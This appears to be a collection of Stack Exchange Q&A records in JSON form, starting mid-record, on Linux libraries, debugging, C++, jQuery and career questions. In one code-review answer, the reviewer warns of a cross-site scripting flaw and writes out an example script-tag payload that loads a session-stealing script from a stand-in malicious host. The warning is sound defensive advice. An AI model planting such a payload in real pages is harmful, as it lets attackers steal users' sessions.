libGL.so.1:/etc/alternatives/glx--libGL.so.1-x86_64-linux-gnu/usr/lib/mesa-diverted/i386-linux-gnu/libGL.so.1/usr/lib/mesa-diverted/i386-linux-gnu/libGL.so.1.2/usr/lib/mesa-diverted/x86_64-linux-gnu/libGL.so.1/usr/lib/mesa-diverted/x86_64-linux-gnu/libGL.so.1.2/usr/lib/x86_64-linux-gnu/libGL.so.1/usr/lib/x86_64-linux-gnu/fglrx/fglrx-libGL.so.1.2/usr/lib/x86_64-linux-gnu/fglrx/libGL.so.1However, it seems that Debian is ignoring them. What can I do to play Aquaria?EDIT 1: ldd aquarialinux-gate.so.1 => (0xf77e1000)libSDL-1.2.so.0 => /opt/Aquaria/./libSDL-1.2.so.0 (0xf7748000)libopenal.so.1 => /opt/Aquaria/./libopenal.so.1 (0xf76fa000)libstdc++.so.6 => /opt/Aquaria/./libstdc++.so.6 (0xf760d000)libm.so.6 => /lib/i386-linux-gnu/i686/cmov/libm.so.6 (0xf75c3000)libgcc_s.so.1 => /opt/Aquaria/./libgcc_s.so.1 (0xf75b8000)libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7455000)libdl.so.2 => /lib/i386-linux-gnu/i686/cmov/libdl.so.2 (0xf7451000)libpthread.so.0 => /lib/i386-linux-gnu/i686/cmov/libpthread.so.0 (0xf7437000)librt.so.1 => /lib/i386-linux-gnu/i686/cmov/librt.so.1 (0xf742e000)/lib/ld-linux.so.2 (0xf77e2000)" , "title": "Running a 32-bit application in Debian Wheezy 64 bits: Missing libraries" , "tags": "64bit;debian;multiarch" , "accepted_answer": "It seems you're missing the 32-bit libraries (/usr/lib/x86_64-linux-gnu contains 64-bit libraries).Now, let's figure out which packages you need for your libraries:$ dpkg -S /usr/lib/x86_64-linux-gnu/alsa-lib/libasound_module_conf_pulse.solibasound2-plugins:amd64: /usr/lib/x86_64-linux-gnu/alsa-lib/libasound_module_conf_pulse.so$ dpkg -S /usr/lib/x86_64-linux-gnu/libGL.so.1libgl1-mesa-glx:amd64: /usr/lib/x86_64-linux-gnu/libGL.so.1So you need 32-bit versions of these packages:# apt-get install libasound2-plugins:i386 libgl1-mesa-glx:i386In general, before you can install any 32-bit libraries, you must add the i386 architecture to dpkg:# dpkg --add-architecture i386# apt-get updateUpdateSince the above didn't solve the libGL.so.1 issue and it seems from your ldd output that Aquaria can see all its required libraries, I googled the libGL.so.1 error message and two things came up. Please try the following 2 solutions in order:As explained here try symlinking libGL.so.1:ln -sv /usr/lib/i386-linux-gnu/libGL.so.1.2 /usr/lib/libGL.so.1Note that I modified the paths from the answer I linked to so that they're relevant to Debian instead.The answer here suggests that you need to install libgl1-mesa-glx:i386 (which you've already done) plus libgl1-mesa-dri:i386 (which is what I'm suggesting you try next).Update: What finally workedapt-get purge libgl1-mesa-glx:i386 apt-get install libgl1-mesa-glx:i386 ln -s /usr/lib/mesa-diverted/i386-linux-gnu/libGL.so.1 /usr/lib/i386-linux-gnu/" } { "id": "_cs.57482" , "question": "Let L {0, 1}* . Then1) If all proper subsets of L are regular,is L regular?2) If all finite subsets of L are regular,is L regular?3) If a proper subset of L is not regular,is L non regular?I am not sure if one or more of the above are true.I think 2) is true because any finite subset can be accepted by a DFA.Are 1) and 3) always true?If not,I am not able to provide counter examples." , "title": "Subsets and Proper subsets of regular language" , "tags": "finite automata" } { "id": "_reverseengineering.8369" , "question": "I'm currently reversing a function which looks like the following.text:0040383F 8D 04 BF lea eax, [edi+edi*4].text:00403842 6A 14 push 20.text:00403844 C1 E0 03 shl eax, 3.text:00403847 99 cdq.text:00403848 59 pop ecx.text:00403849 F7 F9 idiv ecx.text:0040384B 03 45 08 add eax, [ebp+arg_0].text:0040384E 8A 84 30 C8 31 00+mov al, [eax+esi+31C8h].text:00403855 32 C3 xor al, bl.text:00403857 88 84 3E 28 27 00+mov [esi+edi+2728h], al.text:0040385E 47 inc edi.text:0040385F 81 FF 07 0B 00 00 cmp edi, 0B07h.text:00403865 75 D8 jnz short loc_40Since I don't have any clue what's going there I wanted to Debug this part with OllyDbg. I want to understand what's inside al, bl and the result of xor al, bl for all 0B07h steps the loop is running.I just saw that Immunity provides some sort of scripting functionality. Is it possible to achieve this with a simple python script in Immunity? Maybe there are other ways with OllyDbg?I just want something like:If EIP == 403855 then print al, blElse go_ahead" , "title": "How to efficiently debug Loops with OllyDbg/Immunity?" , "tags": "ollydbg;debugging;immunity debugger;xor" , "accepted_answer": "No scripting required.In OllyDbg's disassembly window, left-click on line .text:00403855 32 C3 xor al, bl to select the line, then right-click on the selected line and choose Breakpoint Conditional log....In the breakpoint dialog box that opens up, use the following options:Press OK, run the program, and every time .text:00403855 32 C3 xor al, bl is executed, OllyDbg will print the values of al and bl to the log window." } { "id": "_webapps.106185" , "question": "For instance, I'd like to share my resume (in 3 formats) with a recruiter. I'd also like those links to be valid at all times but also be up to date if I upload a new PDF / DOCX / ODT file to Google Docs. A symlink of some sort seems like the natural choice. That way I could point the link to the new file without having to send an email out to the recruiter that says hey here's the newest version. Does such a thing exist in Google Docs? " , "title": "Is there anything like a symlink in Google Docs?" , "tags": "google apps;google documents" } { "id": "_softwareengineering.191913" , "question": "I was recently talking with a recruiter who wants to put me at a company for a position of Developer in Test. He essentially made it sound like a position where you get to fiddle with new programming techniques and test bugs and improvements in software but where you don't need to worry about standard deadlines. You get to be very creative in your work.But that description was still kinda vague to me. I have been a Web Developer for a number of years now, mostly working in PHP. So I wanted to know if others in the community know more about what these positions typically entail.I know that this might not be a subject appropriate for this forum, but it was the best fit I could find among Stack Exchange and I would really appreciate it if this wasn't closed since there is really no where else here to ask about it.I have tried Googling it, but there isn't a lot of information out there. So what exactly is a Developer in Test?" , "title": "What is a Developer in Test?" , "tags": "web development;php;testing;career development;engineering" , "accepted_answer": "I am a Software Development Engineer in Test, and have been at 2 separate companies. Currently I work for Microsoft.Broadly speaking, Bryan Oakley is correct: you write software that tests software. Beyond that, it depends on your level of experience, the scope of your responsibilities, and the type of software that the employer would be producing. An SDET position can include writing anything from the basics of feature level verification tests, to writing and maintaining test infrastructure to run those tests. It's also not uncommon to have SDETS that specialize in focused testing for certain types of requirements (testing security, performance/scale, usability, etc. are examples that immediately spring to mind).The description that you received from the recruiter sounds like a poor selling technique. You're not fiddling; you have n days to get automated test coverage over x features deployed in y different supported environments in z languages.Oh, btw: those tests have to run fast enough for the devs to have a quick dev/test cycle because...No standard deadlines? You're in charge of the quality of the product and the release date was set by marketing 6 months ago. The dev team is 6 weeks late delivering a stable build to your test team, and the company isn't pushing that release date (again). Is the product or service stable enough to release to a couple million (billion?) people, on the same day?...and if (when ) customers call in with problems... Why (the hell) didn't you catch it first?I hope that gives you a bit of an example of what being an SDET is like." } { "id": "_webapps.100569" , "question": "I am using google maps in chrome having OS: Ubuntu on my hp laptop. But it's not showing place names. I don't know how names have disappeared. Please help me to get them back" , "title": "Google maps not showing any names" , "tags": "google maps" } { "id": "_codereview.126468" , "question": "I'm updating a stats bar on the page after a user action. The code works, but as you can see, it's very messy.Is there a shorter way of writing this function? Seems like a complete mess. I thought about using $.each a couple times to cycle through, but since I need to compare values from the first two array keys in the multi-dimensional array, it makes things much more complicated.Here's an example of the post object data:{ {team_avg: {overdue: 1, in_review: 2, in_progress: 1, assigned: 1}} {user: {assigned: 5, overdue: 3, in_review: 4, in_progress: 1}}Here's my current (mess) for the $.post callback:$.post({{ route('task.load') }}, { _token: $('meta[name=csrf-token]').attr('content') }, function(data) { $task_summary = $('.taskload-stats'); // update # of assigned $assigned = $task_summary.find('.assigned'); $assigned.html(data.user.assigned); if (data.user.assigned > data.team_avg.assigned) { $assigned.append(' <i data-tooltip aria-haspopup=true title=Above Team Avg class=fa fa-arrow-up above-avg aria-hidden=true></i>'); } else if (data.user.assigned === data.team_avg.assigned) { $assigned.append(' <span data-tooltip aria-haspopup=true title=Equals Team Average class=neutral>--</span>'); } else { $assigned.append(' <i data-tooltip aria-haspopup=true title=Below Team Avg class=fa fa-arrow-down below-avg aria-hidden=true></i>'); } // update # of in progress $in_progress = $task_summary.find('.in-progress'); $in_progress.html(data.user.in_progress); if (data.user.in_progress > data.team_avg.in_progress) { $in_progress.append(' <i data-tooltip aria-haspopup=true title=Above Team Avg class=fa fa-arrow-up above-avg aria-hidden=true></i>'); } else if (data.user.in_progress === data.team_avg.in_progress) { $in_progress.append(' <span data-tooltip aria-haspopup=true title=Equals Team Average class=neutral>--</span>'); } else { $in_progress.append(' <i data-tooltip aria-haspopup=true title=Below Team Avg class=fa fa-arrow-down below-avg aria-hidden=true></i>'); } // update # of in review $in_review = $task_summary.find('.in-review'); $in_review.html(data.user.in_review); if (data.user.in_review > data.team_avg.in_review) { $in_review.append(' <i data-tooltip aria-haspopup=true title=Above Team Avg class=fa fa-arrow-up above-avg aria-hidden=true></i>'); } else if (data.user.in_review === data.team_avg.in_review) { $in_review.append(' <span data-tooltip aria-haspopup=true title=Equals Team Average class=neutral>--</span>'); } else { $in_review.append(' <i data-tooltip aria-haspopup=true title=Below Team Avg class=fa fa-arrow-down below-avg aria-hidden=true></i>'); } // update # of overdue $overdue = $task_summary.find('.overdue'); $overdue.html(data.user.overdue); if (data.user.overdue > data.team_avg.overdue) { $overdue.append(' <i data-tooltip aria-haspopup=true title=Above Team Avg class=fa fa-arrow-up below-avg aria-hidden=true></i>'); } else if (data.user.overdue === data.team_avg.overdue) { $overdue.append(' <span data-tooltip aria-haspopup=true title=Equals Team Average class=neutral>--</span>'); } else { $overdue.append(' <i data-tooltip aria-haspopup=true title=Below Team Avg class=fa fa-arrow-down above-avg aria-hidden=true></i>'); } $(document).foundation('tooltip', 'reflow');});" , "title": "Updating a stats bar on a page" , "tags": "javascript;jquery" , "accepted_answer": "That code is full of security holes. Completely avoid .html, create elements programmatically, not as strings of html text. Use .text to set the visible text of elements securely.What happens if data.user.assigned has this value:<script src=//malicious.host.c0m/stealsession.js></script>Visible TextThen every user that views that page will load and run the malicious script and send their session cookie to the attacker, who can then impersonate you, because they have your session secret. The user will not be notified at all, they see Visible TextYou should not repeat yourself so much. You should create an element, and clone that off for each similar duplication of it. This way, you can just set those common attributes once and create copies of it efficiently.You have everything named very nicely, you can leverage that and make it table driven:See jsfiddle$(function() { function createIcons(data, scope, names) { var template = $('<i/>', { 'data-tooltip': '', 'aria-haspopup': 'true', 'class': fa, 'aria-hidden': true }); names.forEach(function(descriptor) { var parent = scope.find(descriptor.sel), userVal = data.user[descriptor.prop], teamAvg = data.team_avg[descriptor.prop]; parent.text(userVal); makeUpDownIcon(parent, template.clone(), userVal, teamAvg); }); } function makeUpDownIcon(outputParent, element, input, compareTo) { var title, classes; if (input > compareTo) { title = 'Above Team Avg'; classes = 'fa-arrow-up above-avg'; } else if (input === compareTo) { title = 'Equals Team Average'; classes = 'neutral'; } else { title = 'Below Team Avg'; classes = 'fa-arrow-down below-avg'; } return (element.attr('title', title) .addClass(classes) .appendTo(outputParent)); } //faked $.post({{ route('task.load') }}, { _token: $('meta[name=csrf-token]').attr('content') }, function(data) { var data = { user: { assigned: 11, in_progress: 10, in_review: 3, overdue: 44 }, team_avg: { assigned: 6, in_progress: 24, in_review: 2, overdue: 1 } }; $task_summary = $('.taskload-stats'); createIcons(data, $task_summary, [ { sel: '.assigned', prop: 'assigned' }, { sel: '.in-progress', prop: 'in_progress' }, { sel: '.in-review', prop: 'in_review' }, { sel: '.overdue', prop: 'overdue' } ]); //$(document).foundation('tooltip', 'reflow');});Note that I forced in fake data because I cannot do the real ajax request on jsfiddle. I had to rip out that foundation thing to make it runnable too. You should have no trouble modifying that second part to actually use the post.EDIT:If you wanted to have a more complex template, say, a span with text and icon then you could do something a bit like this: function createIcons(data, scope, names) { var template = $('<div/>'), caption = $('<span/>', { 'data-tooltip': '', 'aria-haspopup': 'true', 'class': '', 'aria-hidden': 'true', appendTo: template }), icon = $('<i/>', { appendTo: template });Then before each clone, you can reach into the template and do caption.text(something) and icon.attr('class', 'fa fa-something'), then clone, then the clone will already be set, and no need to go .find into it.Note that .text blows away all of the content of the node, so I restructured it so .text wont kill the icon." } { "id": "_unix.165658" , "question": "I am trying to debug an application running in embedded linux. The application uses qt-mobility.On my PC, it works fine, but not on my device.When I start my application, I get this message in the /var/log/messages :Nov 3 11:45:41 pdm360ng daemon.info bluetoothd[1435]: Discovery session 0x1074aab0 with :1.1 activatedOn my PC (running ubuntu 14.04), /var/log/syslog tells :Nov 3 11:01:15 deeclu42 bluetoothd[25182]: Discovery session 0x7f0897203160 with :1.599 activatedSo, it prints a version of something (1.1 for embedded, and 1.599 for my PC), and different version may cause problems I am seeing.The bluetoothd is of the same version in both cases :bluetoothd --version4.101So, what is printing that version in the log?" , "title": "Of what is this version of?" , "tags": "bluetooth" } { "id": "_unix.162638" , "question": "I know chmod 777 allows read, write, and execute for user, group, and others but what if I just do chmod 7?Is that only rwx for the user?" , "title": "What is the result of running `chmod 7` on a file?" , "tags": "files;chmod" } { "id": "_ai.2795" , "question": "I have been looking into Viv an artificial intelligent agent in development. Based on what I understand, this AI can generate new code and execute it based on a query from the user. What I am curious to know is how this AI is able to learn to generate code based on some query. What kind of machine learning algorithms are involved in this process? One thing I considered is breaking down a dataset of programs by step. For example:Code to take the average of 5 terms1 - Add all 5 terms together2 - Divide by 5Then I would train an algorithm to convert text to code. That is as far as I have figured out. Haven't tried anything however because i'm not sure where to start. Anybody have any ideas on how to implement Viv? Here is a demonstration of Viv." , "title": "AI that can generate programs" , "tags": "neural networks;machine learning;deep learning;ai design;nlp" } { "id": "_hardwarecs.2622" , "question": "There exist several Cherry MX Switch Testers. I am looking for a Topre Switch tester.Ideally, it should contain the same key switches as the ones used in Topre Realforce. The price should be cheaper than buying the full keyboard. I do not mind about shipping constraints.So far, I have only found this Switch Tester, which contains only one Topre Novatouch switch (and 5 Cherry MX: Black, Red, Brown, Blue, and Green switches). I would like more Topre switches." , "title": "Topre Switch tester" , "tags": "keyboards" } { "id": "_cs.22722" , "question": "Suppose that I have a set of $N$ points in $k$-dimensional space ($k>1$), such as in this question, and that I need to find all pairs with a distance smaller than a certain threshold $t$. The brute-force method would require $N(N-1)$ distance calculations, which is not acceptable. I attack the problem by first sorting the cells in a grid, such as in this answer, followed by brute-force within each grid cell and a number of neighbours (which is easily calculated from the cell size $w*h$ and the maximum distance $t$).My solution seems to work acceptably well for my purposes, and the results appear to be correct. However I'm neither a computer scientist nor a mathematician, and I'm not sure what tools I could use to calculate the optimal cell size. In fact, I developed the aforementioned possibly naive algorithm because it seemed like a reasonably okay method. I guess the optimal cell size depends in some way on $N$, $t$, on the cost of the distance function, and on the implementation of the sorting in cells, on the distribution of points, and on other things. How would I make a guess of the optimal values of $w$ and $h$, with or without a priori knowledge on the approximate number of pairs I expect to find?Does the answer change if the N points are divided in two sets $S_1$ and $S_2$, and each pair shall consist of one element from each set?Not necessarily euclidian. The points may, for example, be locations on a sphere, i.e. on Earth, with latitude and longitude." , "title": "How do I choose an optimal cell size when searching for close pairs of points, and using cells to implement this?" , "tags": "algorithms;computational geometry;matching" , "accepted_answer": "There's an enormous amount of work on data structures and algorithms for this sort of problem. I suggest you start by reading the general literature on this problem.Start by reading about algorithms for nearest neighbor search, including all nearest neighbors and the fixed-radius nearest neighbors problem. Those techniques are applicable to your problem.Then, read about quadtrees, octrees, k-d trees, VP trees, and the general category of BSP trees." } { "id": "_webmaster.95543" , "question": "I am an HTML beginner and I'm making a website using HTML Editey. I know how to do things like make bold text or make an underline under the letter or number, but I don't know how to make a clickable link.I want to make a clickable link or some text which is you click on it, it will make you go to another website. I did inspect on Chrome but I got confused and couldn't figure it out." , "title": "How to make a clickable link with HTML Editey" , "tags": "html;links;text editor" } { "id": "_codereview.46059" , "question": "I just got into Object Oriented Programming, and it made me think about certain code how I can make them as efficient as possible.Right now I am just including my header and footer like the following:PHPrequire_once 'core/init.php';require_once 'includes/header.php';//Big block of content goes hererequire_once 'includes/footer.php';I wonder if this is the neatest / most efficient way of doing that?" , "title": "Neatest way of including a header and footer on every page" , "tags": "php;object oriented" , "accepted_answer": "According to a PHP blog post, yes this is exactly the way that it should be done. Even w3schools (whom you normally shouldn't trust too much since they're not related to the real w3 at all) recommends it.I like that you are using require instead of include. I am not so sure if you really need the _once though.I recommend you read the documentation of the include function (which also applies to require, require_once and include_once) to make sure that you really are aware of how it works. Note that if you are using any PHP scripts inside the included files, any global variables (which you should try avoid using too many of overall) also gets included to the calling script." } { "id": "_webapps.10608" , "question": "Possible Duplicate:Get e-mail addresses from Gmail messages received I have a Google Apps Gmail account and I would like to extract all email adresses in the from and to (and cc, bcc and reply-to if possible) headers of every message. How can I do this?I've found a site (https://gmailextract.com/) that promises to do exactly what I need, but I don't think I can trust it with my password." , "title": "Extract email adresses of Gmail" , "tags": "gmail;email;google apps;google apps email" , "accepted_answer": "I would do it the old fashion offline way:1) Download all mails with Gmail Backup or an IMAP client if you only want headers2) Use a regexp tool on the downloaded files or headers to find the email adresses and save the result into a text file3) Optionally import the file into Contacts in Gmail" } { "id": "_cogsci.8854" , "question": "I recall a study that concluded the risk of falling into poverty / homelessness increases dramatically after experiencing 5 (or 7?) traumatic life events, such asDeath of a loved oneAbandonment by spouseBankruptcyBeing firedForeclosureetc (a threshold effect). That's about as clear a memory as I can form, and search engines don't help. Anybody know about this study? It might have been from New Zealand." , "title": "What study examined the effect of number of traumatic life events on falling into poverty?" , "tags": "social psychology;reference request;sociology" , "accepted_answer": "This effect was identified in a report by the New Zealand Ministry of Social Development (Jensen et al., 2006). It specifically indicated that individuals experiencing eight or more life shocks (negative life events) experienced significantly more negative socioeconomic outcomes. This effect is referenced on Wikipedia's Cycle of Poverty page (http://en.wikipedia.org/wiki/Cycle_of_poverty), which links to a news story on the report (Berry, 2006) and the report itself. A summary of the report's findings were later published in an academic journal (Jensen et al., 2007).Berry, R. (2006, July 12). Life shocks tip people into hardship.The New Zealand Herald. Retrieved from: http://www.nzherald.co.nz/nz/news/article.cfm?c_id=1&objectid=10390891Jensen, J., Krishnan, V., Hodgson, R., Sathiyandra, S., Templeton,R., Jones, D., ... & Beynon, P. (2006). New Zealand Living Standards 2004 Ng huatanga Noho o Aotearoa. Wellington: Ministry of Social Development. Retrieved from:http://media.nzherald.co.nz/webcontent/document/pdf/living-standards-2004.pdfJensen, J., Sathiyandra, S., & Matangi-Want, M. (2007). The 2004 New Zealand Living Standards Survey: What does it signal about the importance of multiple disadvantage?. Social Policy Journal of New Zealand, 30, 110-144." } { "id": "_softwareengineering.328729" , "question": "Evans introduces in his book Domain Driven Design in Chapter 6 Aggregates the concept of Aggregates. He further defines rules to translate that concept into an implementation (Evans 2009, pp. 128-129):The root ENTITY can hand references to the internal ENTITIES to other objects, but those objects can use them only transiently, and they may not hold on to the reference.After elaborating on other rules he summarizes them into this paragraph:Cluster the Entities and Value Objects into Aggregates and define boundaries around each. Choose one Entity to be the root of each Aggregate, and control all access to the objects inside the boundary through the root. Allow external objects to hold references to the root only. Transient references to internal members can be passed out for use within a single operation only. Because the root controls access, it cannot be blindsided by changes to the internals. This arrangement makes it practical to enforce all invariants for objects in the Aggregate and for the Aggregate as a whole in any state change.So what does transient usage exactly mean?My colleague understands that only the aggregate root exposes a public interface for the clients. Clients will have no opportunity to call any operation on an entity other than the aggregate root.My understanding of the cited sentences is different. I understand that it does indeed explicitly allow clients calling operations on internal entities. However only after getting them from the root.So let's have a concrete example:Let's say a Cart consists of many Items. Each Item has a Quantity. The model should support the use case Increase the quantity of one specific Item. No invariants could be violated which affects anything outside of the Item.Is a model violating above cited rules, when a client can do this by calling cart.item(itemId).increaseQuantity() or should a client only be allowed to call a cart.increaseItemQuantity(itemId)? What would be the benefit of the latter?" , "title": "Can clients call methods on entities other than the aggregate root?" , "tags": "domain driven design" } { "id": "_codereview.11154" , "question": "We implement a C++ class Proposition that represents a (possibly compound) propositional logic statement made up of named atomic variables combined with the operators AND, OR, NOT, IMPLIES and IFF.We then use it to find all the truth assignments of the following proposition:((A and not B) implies C) and ((not A) iff (B and C))Once everything is defined, the snippet of C++ code that evaluates this proposition is:auto proposition = (A_var && !B_var).implies(C_var) && (!A_var).iff(B_var && C_var);auto truth_assignments = proposition.evaluate_all({A, B, C});Language features used include polymorphism, implicit sharing, recursive data types, operator overloading and (new in C++ 2011 and gcc 4.7) user-defined literals.// (C) 2012, Andrew Tomazos <andrew@tomazos.com>. Public domain.#include <cassert>#include <memory>#include <set>#include <vector>#include <string>#include <iostream>using namespace std;struct Proposition;// The expression...//// foo_var//// ...creates an atomic proposition variable with the name 'foo'Proposition operator _var (const char*, size_t);// Represents a compound propositionstruct Proposition{ // A.implies(B): means that A (antecendant) implies ==> B (consequent) Proposition implies(const Proposition& consequent) const; // A.iff(B): implies that A and B form an equivalence. A <==> B Proposition iff(const Proposition& equivalent) const; // !A: the negation of target A Proposition operator!() const; // A && B: the conjunction of A and B Proposition operator&&(const Proposition& conjunct) const; // A || B: the disjunction of A and B Proposition operator||(const Proposition& disjunct) const; // A.evaluate(T): Given a set T of variable names that are true (a truth assignment), // will return the truth {true, false} of the proposition bool evaluate(const set<string>& truth_assignment) const; // A.evaluate_all(S): Given a set S of variables, // will return the set of truth assignments that make this proposition true set<set<string>> evaluate_all(const set<string>& variables) const;private: struct Base { virtual bool evaluate(const set<string>& truth_assignment) const = 0; }; typedef shared_ptr<Base> pointer; pointer value; Proposition(const pointer& value_) : value(value_) {} struct Variable : Base { string name; virtual bool evaluate(const set<string>& truth_assignment) const { return truth_assignment.count(name); } }; struct Negation : Base { pointer target; bool evaluate(const set<string>& truth_assignment) const { return !target->evaluate(truth_assignment); } }; struct Conjunction : Base { pointer first_conjunct, second_conjunct; bool evaluate(const set<string>& truth_assignment) const { return first_conjunct->evaluate(truth_assignment) && second_conjunct->evaluate(truth_assignment); } }; struct Disjunction : Base { pointer first_disjunct, second_disjunct; bool evaluate(const set<string>& truth_assignment) const { return first_disjunct->evaluate(truth_assignment) || second_disjunct->evaluate(truth_assignment); } }; friend Proposition operator _var (const char* name, size_t sz);};Proposition operator _var (const char* name, size_t sz){ auto variable = make_shared<Proposition::Variable>(); variable->name = string(name, sz); return { variable };}Proposition Proposition::implies(const Proposition& consequent) const{ return (!*this) || consequent;};Proposition Proposition::iff(const Proposition& equivalent) const{ return this->implies(equivalent) && equivalent.implies(*this);}Proposition Proposition::operator!() const{ auto negation = make_shared<Negation>(); negation->target = value; return { negation };}Proposition Proposition::operator&&(const Proposition& conjunct) const{ auto conjunction = make_shared<Conjunction>(); conjunction->first_conjunct = value; conjunction->second_conjunct = conjunct.value; return { conjunction };}Proposition Proposition::operator||(const Proposition& disjunct) const{ auto disjunction = make_shared<Disjunction>(); disjunction->first_disjunct = value; disjunction->second_disjunct = disjunct.value; return { disjunction };}bool Proposition::evaluate(const set<string>& truth_assignment) const{ return value->evaluate(truth_assignment);}set<set<string>> Proposition::evaluate_all(const set<string>& variables) const{ set<set<string>> truth_assignments; vector<string> V(variables.begin(), variables.end()); size_t N = V.size(); for (size_t i = 0; i < (size_t(1) << N); ++i) { set<string> truth_assignment; for (size_t j = 0; j < N; ++j) if (i & (1 << j)) truth_assignment.insert(V[j]); if (evaluate(truth_assignment)) truth_assignments.insert(truth_assignment); } return truth_assignments;}int main(){ assert( (foo_var) .evaluate({foo})); // trivially true assert( (foo_var) .evaluate_all({foo}) == set<set<string>> {{foo}} ); assert( (!foo_var) .evaluate({})); // basic negation assert(! (!foo_var) .evaluate({foo})); // basic negation assert( (!foo_var) .evaluate_all({foo}) == set<set<string>> {{}} ); assert( (!!foo_var) .evaluate({foo})); // double negation assert( (!!foo_var) .evaluate_all({foo}) == set<set<string>> {{foo}} ); assert( (foo_var && bar_var) .evaluate({foo, bar})); // conjunction assert(! (foo_var && bar_var) .evaluate({bar})); // conjunction assert(! (foo_var && bar_var) .evaluate({foo})); // conjunction assert(! (foo_var && bar_var) .evaluate({})); // conjunction assert( (foo_var && bar_var) .evaluate_all({foo, bar}) == set<set<string>>({{foo, bar}})); assert( (foo_var || bar_var) .evaluate({foo, bar})); // disjunction assert( (foo_var || bar_var) .evaluate({bar})); // disjunction assert( (foo_var || bar_var) .evaluate({foo})); // disjunction assert(! (foo_var || bar_var) .evaluate({})); // disjunction assert( (foo_var || bar_var) .evaluate_all({foo, bar}) == set<set<string>>({{foo, bar}, {foo}, {bar}})); assert( (foo_var.implies(bar_var)) .evaluate({foo, bar})); // implication assert( (foo_var.implies(bar_var)) .evaluate({bar})); // implication assert(! (foo_var.implies(bar_var)) .evaluate({foo})); // implication assert( (foo_var.implies(bar_var)) .evaluate({})); // implication assert( (foo_var.implies(bar_var)) .evaluate_all({foo, bar}) == set<set<string>>({{foo, bar}, {bar}, {}})); assert( (foo_var.iff(bar_var)) .evaluate({foo, bar})); // equivalence assert(! (foo_var.iff(bar_var)) .evaluate({bar})); // equivalence assert(! (foo_var.iff(bar_var)) .evaluate({foo})); //equivalence assert( (foo_var.iff(bar_var)) .evaluate({})); // equivalence assert( (foo_var.iff(bar_var)) .evaluate_all({foo, bar}) == set<set<string>>({{foo, bar}, {}})); cout << ((A and not B) implies C) and ((not A) iff (B and C)): << endl << endl; auto proposition = (A_var && !B_var).implies(C_var) && (!A_var).iff(B_var && C_var); auto truth_assignments = proposition.evaluate_all({A, B, C}); cout << A B C << endl; cout << ----------- << endl; for (auto truth_assignment : truth_assignments) { for (auto variable : {A, B, C}) cout << (truth_assignment.count(variable) ? 1 : 0) << ; cout << endl; }}The output is as follows:((A and not B) implies C) and ((not A) iff (B and C)):A B C-----------1 1 0 1 0 1 0 1 1 " , "title": "C++11: Propositional Logic: Proposition Evaluator" , "tags": "c++;c++11" } { "id": "_codereview.138479" , "question": "There are a plethora of streams and streambuffers available today, none are as fast as a memory streambuf, that you can use for testing. Shoot away!#ifndef MEMSTREAMBUF_HPP# define MEMSTREAMBUF_HPP# pragma once#include <cassert>#include <cstring>#include <array>#include <iostream>#include <streambuf>template <::std::size_t N>class memstreambuf : public ::std::streambuf{ ::std::array<char, N> buf_;public: memstreambuf() { setbuf(buf_.data(), buf_.size()); } ::std::streambuf* setbuf(char_type* const s, ::std::streamsize const n) final { auto const begin(s); auto const end(s + n); setg(begin, begin, end); setp(begin, end); return this; } pos_type seekpos(pos_type const pos, ::std::ios_base::openmode const which = ::std::ios_base::in | ::std::ios_base::out) final { switch (which) { case ::std::ios_base::in: if (pos < egptr() - eback()) { setg(eback(), eback() + pos, egptr()); return pos; } else { break; } case ::std::ios_base::out: if (pos < epptr() - pbase()) { setp(pbase(), epptr()); pbump(pos); return pos; } else { break; } default: assert(0); } return pos_type(off_type(-1)); } ::std::streamsize xsgetn(char_type* const s, ::std::streamsize const count) final { auto const size(::std::min(egptr() - gptr(), count)); ::std::memcpy(s, gptr(), size); gbump(size); return egptr() == gptr() ? traits_type::eof() : size; } ::std::streamsize xsputn(char_type const* s, ::std::streamsize const count) final { auto const size(::std::min(epptr() - pptr(), count)); ::std::memcpy(pptr(), s, size); pbump(size); return epptr() == pptr() ? traits_type::eof() : size; }};template <::std::size_t N = 1024>class memstream : public memstreambuf<N>, public ::std::istream, public ::std::ostream{public: memstream() : ::std::istream(this), ::std::ostream(this) { }};#endif // MEMSTREAMBUF_HPP" , "title": "Memory streambuf and stream" , "tags": "c++;stream" , "accepted_answer": "AssertI personally dislike using asserts. The problem for me is that they do different things in production and debug code. I want the same action in both. pos_type seekpos(pos_type const pos, ::std::ios_base::openmode const which) final { switch (which) { case ::std::ios_base::in: case ::std::ios_base::out: default: assert(0); } return pos_type(off_type(-1)); }So in this code if we get to the default action; the debug version will assert (and stop the application) while production code will return -1.In my opinion if you get to a point where your code should not then throw an exception that should not be caught. That will cause the application to exit (in a controlled way).But in this case I think the expected behavior is not to throw but to return -1. So I would make the default action a no-op.seekpos whichThe which in your seekpos() has basically three settings. You only check for two of the three. switch (which) { case ::std::ios_base::in: case ::std::ios_base::out: // You forgot this case case ::std::ios_base::in | ::std::ios_base::out: // it means set the position of the input and output stream. // since this is the default value of `which` I would expect // this to happen most often (and would assert in your code). default: assert(0); } return pos_type(off_type(-1)); }xsgetn/xsputn eofI think you return result of these functions can be incorrect. You should only return eof if you did not get/put any values. You return eof if you have filled/emptied all the data. ::std::streamsize xsgetn(char_type* const s, ::std::streamsize const count) final { // If there is no data to get then return eof if (egptr() == gptr()) { traits_type::eof(); } auto const size(::std::min(egptr() - gptr(), count)); ::std::memcpy(s, gptr(), size); gbump(size); return size; // return the number of bytes read. }Overall DesignThe input and output use the same buffer but are not linked together. If you have not written anything into the buffer I would not expect you to be able to read from the buffer (as there is nothing to read).When you do write I would only expect you to be able to read only what has written (no more).int main(){ memstream<1024> buffer; if (buffer.write(abcdef, 6)) { std::cout << Write OK\\n; } char data[100]; if (buffer.read(data, 10)) { auto c = buffer.gcount(); std::cout << Count: << c << \\n; std::cout << std::string(data, data+10) << \\n; }}Result:Write OKCount: 10abcdefSo I wrote 6 characters. But I managed to read 10 characters. What were the last 4 characters?Circular BufferOnce you have linked the two buffers correctly. You could get more from the buffer by making it circular. That means as you get to the end of the write buffer you can circle around and start writing at the beginning again if you have been reading from the buffer and there is space.Inheriting from the buffertemplate <::std::size_t N = 1024>class memstream : public memstreambuf<N>, // This is unusual public ::std::istream, public ::std::ostream{public: memstream() : ::std::istream(this), ::std::ostream(this) { }};Normally I have seen this as a member object rather than inheriting from the buffer. Though this technique saves a call to setbuffer. I can live with it.BUT: if you are going to inherit from it then I would use private inheritance.template <::std::size_t N = 1024>class memstream : private memstreambuf<N>, // Note the private public ::std::istream, public ::std::ostream{public: memstream() : ::std::istream(this), ::std::ostream(this) { }};This is because I don't want my object to behave like a stream and a stream buffer to people who use it. That could be confusing. So hide the 